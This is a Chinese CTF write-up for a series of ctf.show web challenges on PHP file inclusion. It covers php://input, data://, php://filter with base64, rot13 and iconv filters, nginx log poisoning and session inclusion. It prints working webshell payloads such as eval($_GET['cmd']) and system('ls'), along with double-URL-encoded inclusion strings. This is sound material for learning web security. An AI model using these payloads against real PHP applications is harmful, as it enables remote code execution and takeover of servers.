文章目录
- web 78——php伪协议
- 第一种方法——php://input
- 第二种方法——data://text/plain
- 第三种方法——远程包含(http://协议)
- web 78——str_replace过滤字符php
- 第一种方法——远程包含(http://协议)
- 第二种方法——data://,php短标签
- 第三种方法——data://,base64编码
- web 80——str_replace过滤关键字php和data
- 第一种方法——日志包含
- 第二种方法——大写PHP绕过,PHP://input
- web 81——过滤关键字php、data和`:`,日志包含
- web 82
- web 87——url编码、php伪协议、base64、rot13
- 第一种方法——php://filter,base64编码
- 第二种方法——php://filter,base64编码
- web 88——data://text/plain;base64
- web 117——php://filter, convert.iconv.*
web 78——php伪协议
第一种方法——php://input
这里不知道flag.php
的文件路径,可以考虑使用php://input
尝试执行php语句,获取文件路径。
# url栏?file=php://input # POST data<?php system('ls');?>
cat flag.php
可能读取不了文件,这时候试试tac flag.php
。linux tac
命令是倒序读取文件,也就是从最后一行往前读取文件。
cat flag.php
在源代码中显示php文件(查看源代码),tac flag.php
不需要查看源代码。
第二种方法——data://text/plain
data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。用法:
data://text/plain,<php代码>
data://text/plain;base64,<php代码>
第三种方法——远程包含(http://协议)
架设外网服务器,使用远程包含自己服务器上的后门文件,即可获取webshell。
php伪协议总结:
web 78——str_replace过滤字符php
首先,根据php特性,str_replace
无法迭代过滤,只过滤一次。此处,如果用空格
替换,可以直接使用双写进行绕过。
第一种方法——远程包含(http://协议)
架设外网服务器,使用远程包含自己服务器上的后门文件,即可获取webshell。
第二种方法——data://,php短标签
既然过滤php
字符串,使用data://
协议,同时使用php短标签避免出现字符串php
。php中代码开始标志类型(<?php ?>,<? ?>,<?= ?>,<% %>,<%= %>)
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>
第三种方法——data://,base64编码
使用data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ (<?php phpinfo();?>)
web 80——str_replace过滤关键字php和data
可以看到关键字php
和data
被过滤,因此包含这两个关键字的php伪协议都无法用了。查看服务器的系统信息,可以发现属于nginx
,nginx
日志的默认路径为/var/log/nginx/access.log
第一种方法——日志包含
通过包含日志文件,可以读取到日志文件。因此思路:日志文件记录访问者UA信息,修改UA信息为后门代码,包含就会触发后门代码。
?file=/var/log/nginx/access.log
UA:<?php system('ls')?>
第二种方法——大写PHP绕过,PHP://input
这里对
php://input
的php进行大写可以绕过过滤,但是通过大写DATA不能使用data://text/plain
。
web 81——过滤关键字php、data和:
,日志包含
这里过滤了php
、data
和:
,基本上伪协议是用不了了,不过仍然可以使用日志包含。
?file=/var/log/nginx/access.log
UA:<?php system('ls')?>
web 82
linux下,默认保存session的文件路径/tmp
或/var/lib/php/session
;Windows下session文件的路径不固定。
关于session,只要你与一个网站建立连接,网站某个文件夹下就会产生session文件,关闭浏览器或者过了一段时间,session就会失效,再次建立连接的话就会产生新的session文件。
服务器端的session文件命名如下,尝试简单爆破是几乎不可能的。
实际上,数据包中的cookie
中有个PHPSESSID
的值,服务端将sess_
与PHPSESSID
的值进行拼接,就是当前会话session的文件名。因此我们可以使用这种方式固定session文件的文件名。
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
web 87——url编码、php伪协议、base64、rot13
-
两个函数:
file_put_contents($filename , $data)
把data
数据写入$filename
中;urldecode($str)
:对$str
进行url解码。
-
关于URL编码与解码。URL编码解码详解,看这一篇就够够的了
当 URL 路径或者查询参数中,带有中文或者特殊字符的时候,就需要对 URL 进行编码。URL 编码协议规定(RFC3986 协议):URL 中只允许使用 ASCII 字符集可以显示的字符,比如英文字母、数字、和- _ . ~ ! *
这 6 个特殊字符。哪些字符需要编码,分为以下三种情况:- ASCII 表中没有对应的可显示字符,例如,汉字。
- 不安全字符,包括:
#、”、%、 <、>、[、]、{、}、|、\、^
。 - 部分保留字符,即
&、/、:、;、=、?、@
。
URL中出现特殊字符,火狐浏览器会先对齐URL编码再发送,使得请求数据包中的请求的参数是经过编码后的数据。
#url http://995aec24-2329-48fb-be3e-1a441143cb11.challenge.ctf.show/?file=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%77%72%69%74%65%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%68%70p
破案了,是
max hackbar
的缘故,使用这个插件会对参数后面的特殊字符自动URL编码。
当服务端收到请求后,若出现特殊字符,首先进行URL解码。
但是,不同的浏览器策略又不一样,可能对请求参数没有进行编码。比如
Edeg
请求如下:
Google
请求如下:
唯一确定的是,当服务器端接收到经过URL编码的数据后(数据包里的被URL编码的数据也会被URL解码),会自动进行解码,故此处file参数的值需要二次URL编码。 -
Base64编码与解码
Base64编码是使用64个可打印ASCII字符(A-Z
、a-z
、0-9
、+
、/
)将任意字节序列数据编码成ASCII字符串,另有=
符号用作后缀用途。Base64编码,3个字节编码为四个字节;Base64解码,4个字节解码为3个字节。 ASCII码和UTF-8编码中,一个字符占一个字节。
Base64编码与解码原理 -
php://filter协议
php://filter/write=convert.base64-encode/resource=x.php # 先将数据进行base64编码后再写入文件x.php中 php://filter/read=convert.base64-encode/resource=x.php # 先进行base64编码后再读取文件x.php
第一种方法——php://filter,base64编码
因为后端对关键字php
、data
、:
、.
进行过滤,因此需要进行编码,考虑到urldecode
函数,因此对?file=php://filter/write=convert.base64-decode/resource=123.php
两次URL全编码(后端收到编码过的数据会自动解码,故二次编码)。
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
base64解码时遇到不属于(A-Z
、a-z
、0-9
、+
、/
)的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码,因此<?php die('大佬别秀了');?>
最终经base64解码的字符仅phpdie
,四个字符解码为三个字符,因此凑两个字符,吃掉phpdie
。
#POST数据
content=aaPD9waHAgcGhwaW5mbygpOz8+
其中<?php phpinfo();?>
被编码为PD9waHAgcGhwaW5mbygpOz8+
,因为在URL编码中+
代表[空格]
,服务端接收到+
会被认为是[空格]
。因此,可以对后门代码进行url编码。
#POST数据
content=aa%50%44%39%77%61%48%41%67%63%47%68%77%61%57%35%6d%62%79%67%70%4f%7a%38%2b
用火狐浏览器可能做不了,就是经过url编码的post表单数据好像不会自动解码。
第二种方法——php://filter,base64编码
对php://filter/write=string.rot13/resource=23.php
进行二次URL编码,其实在将内容写入234.php之前进行rot13编码。
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
rot13两次解码后会变成原来的样子,先将<?php phpinfo():?>
进行一次rot13编码,写入文件之前再进行rot13编码,两次编码后写入php后门代码。也可以对经过一次rot13编码的数据进行url编码。
web 88——data://text/plain;base64
php伪协议中,php://filter
用于读文件、写文件;php://input
和data://text/plain
用于直接执行php代码。这里使用data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz5h
通关。<?php @eval($_POST['cmd']);?>a
经过base64编码就是PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz5h
。
需要注意的是,base64编码后的数据不能出现+
和=
,+
在URL中会被当做看空格处理,进行base64编码的时候会得不到原数据;=
的话,会被后端过滤。
web 117——php://filter, convert.iconv.*
唯独没有过滤php://filter
,这里需要使用convert.iconv.*
过滤器,
# url
http://92caed34-03fd-4991-90dc-6e8354ba37a8.challenge.ctf.show/?file=php://filter/write=convert.iconv.UCS-2BE.UCS-2LE/resource=1.php
# POST
contents=?<hp pe@av(l_$OPTS'[mc'd)]?;>> //字符UCS-2LE->UCS-2BE的编码,字符多加一个>是防止报错,php中标签外的>不解析。
convert.iconv.*
其实就是一个字符转换,convert.iconv.<input-encoding>.<output-encoding>
。可以在linux下使用iconv
进行字符编码转换,语法如下:
iconv -f UCS-2LE -t UCS-2BE [源文件名] > [输出文件名]